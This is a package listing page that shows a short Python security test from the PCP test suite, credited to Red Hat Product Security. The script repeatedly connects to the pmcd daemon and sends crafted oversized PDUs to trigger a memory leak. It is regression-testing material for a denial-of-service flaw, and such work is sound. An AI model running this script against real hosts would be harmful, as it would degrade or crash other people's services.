/var/lib/pcp/testsuite/secure/leak-getpdu is in pcp-testsuite 3.9.10.
This file is owned by root:root, with mode 0o644.
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# usage: python leak-getpdu HOST
#
# Connects to pmcd on HOST and sends crafted PDUs which triggers a memory leak.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
import pcppdu
_, host, count = sys.argv
iterations = int(count)
for i in range(iterations):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
pcppdu.client_handshake(sock, from_=1)
pcppdu.send_pdu(sock, -1, 1, str("X") * 65000)
sock.close()
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